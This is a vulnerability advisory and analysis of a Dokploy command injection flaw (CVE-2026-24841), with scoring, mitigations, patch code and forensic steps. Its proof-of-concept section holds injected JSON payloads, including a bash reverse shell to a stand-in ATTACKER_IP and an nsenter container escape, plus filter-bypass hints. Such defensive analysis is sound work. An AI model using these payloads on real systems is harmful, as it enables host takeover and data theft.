Comprehensive Technical Analysis of CVE-2026-24841

Dokploy Command Injection Vulnerability (CVSS 9.9)

1. Vulnerability Assessment and Severity Evaluation

CVE-2026-24841 is a critical command injection vulnerability in Dokploy, a self-hosted Platform-as-a-Service (PaaS) solution. The flaw resides in the WebSocket endpoint /docker-container-terminal, where user-supplied input (containerId and activeWay) is directly interpolated into shell commands without proper sanitization.

Severity Justification (CVSS 9.9 - Critical)

CVSS Metric	Score	Rationale
Attack Vector (AV)	Network (N)	Exploitable remotely via WebSocket.
Attack Complexity (AC)	Low (L)	No specialized conditions required.
Privileges Required (PR)	Low (L)	Only authenticated access needed.
User Interaction (UI)	None (N)	No user interaction required.
Scope (S)	Changed (C)	Compromise affects the host system, not just the application.
Confidentiality (C)	High (H)	Arbitrary command execution leads to full data exposure.
Integrity (I)	High (H)	Attacker can modify files, configurations, or deploy malware.
Availability (A)	High (H)	Host system can be crashed or rendered unusable.

Key Takeaways:

• High Impact: Full host compromise possible.
• Low Attack Complexity: Exploitation requires minimal effort.
• Network-Exploitable: No physical access or local privileges needed.
• Authenticated Attack Required: Reduces risk slightly but does not mitigate severity.

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2. Potential Attack Vectors and Exploitation Methods

Exploitation Mechanism

The vulnerability arises from improper input validation in the WebSocket handler (docker-container-terminal.ts). The containerId and activeWay parameters are concatenated directly into shell commands, allowing command injection via metacharacters (e.g., ;, &&, |, `, $()).

Proof-of-Concept (PoC) Exploitation Steps:

1. Authenticate to Dokploy (valid credentials required).
2. Establish a WebSocket connection to /docker-container-terminal.
3. Send a malicious payload in the containerId or activeWay parameter:

   {
     "containerId": "legitimate_container; id > /tmp/pwned;",
     "activeWay": "exec"
   }
   

4. Result: The id command executes on the host, writing output to /tmp/pwned.

Advanced Exploitation Scenarios:

• Reverse Shell:

  {
    "containerId": "legitimate_container; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'",
    "activeWay": "exec"
  }
  

• Container Escape & Host Compromise:
  • If Dokploy runs in a container, an attacker could break out using:

    {
      "containerId": "legitimate_container; nsenter --target 1 --mount --uts --ipc --net --pid sh",
      "activeWay": "exec"
    }
    

• Persistence & Lateral Movement:
  • Deploy a cron job or SSH key for persistence.
  • Exfiltrate sensitive data (e.g., Docker secrets, API keys).

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3. Affected Systems and Software Versions

Component	Affected Versions	Fixed Version
Dokploy	All versions < 0.26.6	0.26.6
Dependencies	N/A (Self-contained)	N/A

Deployment Scenarios at Risk:

• Self-hosted Dokploy instances (on-premises or cloud).
• Multi-tenant PaaS environments where Dokploy manages containers.
• CI/CD pipelines using Dokploy for deployment automation.

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4. Recommended Mitigation Strategies

Immediate Actions (For Affected Users)

1. Upgrade to Dokploy v0.26.6 (or later) immediately.
   • Patch commit: 74e0bd5fe3ef7199f44fcd19c6f5a2f09b806d6f
2. Isolate Dokploy Instances (if patching is delayed):
   • Restrict network access to the WebSocket endpoint (/docker-container-terminal).
   • Use firewall rules to limit connections to trusted IPs.
3. Disable WebSocket Terminal Access (temporary workaround):
   • Modify docker-container-terminal.ts to disable the endpoint if not critical.

Long-Term Security Hardening

1. Input Validation & Sanitization:
   • Whitelist allowed characters for containerId (alphanumeric + hyphens/underscores).
   • Use parameterized shell commands (e.g., execFile in Node.js) instead of string interpolation.
2. Least Privilege Principle:
   • Run Dokploy with minimal permissions (avoid root).
   • Use Docker’s --read-only and --cap-drop=ALL for containers.
3. Web Application Firewall (WAF) Rules:
   • Deploy a WAF (e.g., ModSecurity, Cloudflare) to block command injection patterns.
4. Runtime Protection:
   • Use eBPF-based tools (e.g., Falco, Aqua Security) to detect anomalous shell executions.
5. Network Segmentation:
   • Isolate Dokploy in a dedicated VLAN with strict access controls.
6. Logging & Monitoring:
   • Enable audit logging for WebSocket connections.
   • Set up SIEM alerts for suspicious command executions (e.g., ;, &&, |).

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5. Impact on the Cybersecurity Landscape

Broader Implications

1. Supply Chain Risks:
   • Dokploy is used in CI/CD pipelines, meaning a compromise could lead to malicious code deployment in downstream applications.
2. Container Security Challenges:
   • Highlights the danger of improper input handling in container management tools.
   • Reinforces the need for secure coding practices in PaaS/IaaS solutions.
3. Exploitation in the Wild:
   • Given the CVSS 9.9 score, this vulnerability is highly attractive to attackers, including:
     • APT groups (for lateral movement).
     • Cryptojackers (for resource hijacking).
     • Ransomware operators (for initial access).
4. Regulatory & Compliance Risks:
   • Organizations using Dokploy may face compliance violations (e.g., GDPR, HIPAA, PCI-DSS) if exploited.

Historical Context

• Similar vulnerabilities:
  • CVE-2021-41079 (Docker CLI command injection).
  • CVE-2020-15257 (Containerd escape via API).
• Lessons Learned:
  • Never trust user input, even in WebSocket APIs.
  • Assume breach and implement defense-in-depth.

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6. Technical Details for Security Professionals

Root Cause Analysis

The vulnerability stems from unsafe string interpolation in docker-container-terminal.ts:

// Vulnerable Code (Pre-0.26.6)
const command = `docker exec -it ${containerId} ${activeWay}`;
exec(command, (error, stdout, stderr) => { ... });

• Problem: containerId and activeWay are not sanitized, allowing command chaining via shell metacharacters.

Patch Analysis (Fixed in v0.26.6)

The fix introduces input validation and parameterized execution:

// Fixed Code (Post-0.26.6)
if (!/^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/.test(containerId)) {
  throw new Error("Invalid containerId");
}
const args = ["exec", "-it", containerId, activeWay];
const child = spawn("docker", args, { shell: false });

• Key Improvements:
  • Regex validation for containerId.
  • spawn instead of exec (avoids shell interpretation).
  • shell: false prevents command injection.

Exploitation Detection & Forensics

Indicators of Compromise (IoCs)

• Logs:
  • Unusual docker exec commands in /var/log/docker.log or /var/log/syslog.
  • WebSocket connections with suspicious payloads (e.g., ;, &&, |).
• File System Artifacts:
  • Unexpected files in /tmp (e.g., /tmp/pwned).
  • New SSH keys in ~/.ssh/authorized_keys.
• Network Traffic:
  • Outbound connections to unexpected IPs (reverse shells, C2 servers).

Forensic Investigation Steps

1. Check WebSocket Logs:

   grep -r "docker-container-terminal" /var/log/nginx/access.log
   

2. Inspect Docker Events:

   docker events --since "2026-01-28" --filter event=exec_create
   

3. Analyze Running Processes:

   ps aux | grep -E "docker exec|bash -c|nc -lvp"
   

4. Memory Forensics (Volatility):

   volatility -f memory.dump linux_pslist | grep -i "docker"
   

Red Team & Penetration Testing Guidance

• Exploitation Tools:
  • Burp Suite / OWASP ZAP (for WebSocket fuzzing).
  • Metasploit (if a module is developed).
• Bypass Techniques (if patch is incomplete):
  • URL-encoded payloads (e.g., %3B for ;).
  • Alternative shell metacharacters (e.g., ${IFS} for spaces).
• Post-Exploitation:
  • Container Breakout: Use nsenter or capsh to escape.
  • Persistence: Add a cron job or systemd service.

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Conclusion & Recommendations

CVE-2026-24841 is a critical command injection vulnerability with severe real-world impact. Organizations using Dokploy must:

1. Patch immediately to v0.26.6.
2. Audit systems for signs of exploitation.
3. Implement defense-in-depth (WAF, least privilege, monitoring).

For Security Teams:

• Prioritize patching in vulnerability management programs.
• Hunt for IoCs in logs and network traffic.
• Educate developers on secure coding practices for WebSocket APIs.

For Developers:

• Never use string interpolation for shell commands.
• Use parameterized execution (spawn, execFile).
• Validate all inputs with strict allowlists.

This vulnerability underscores the critical importance of input sanitization in modern cloud-native applications. Failure to address it could lead to full system compromise, data breaches, and lateral movement in enterprise environments.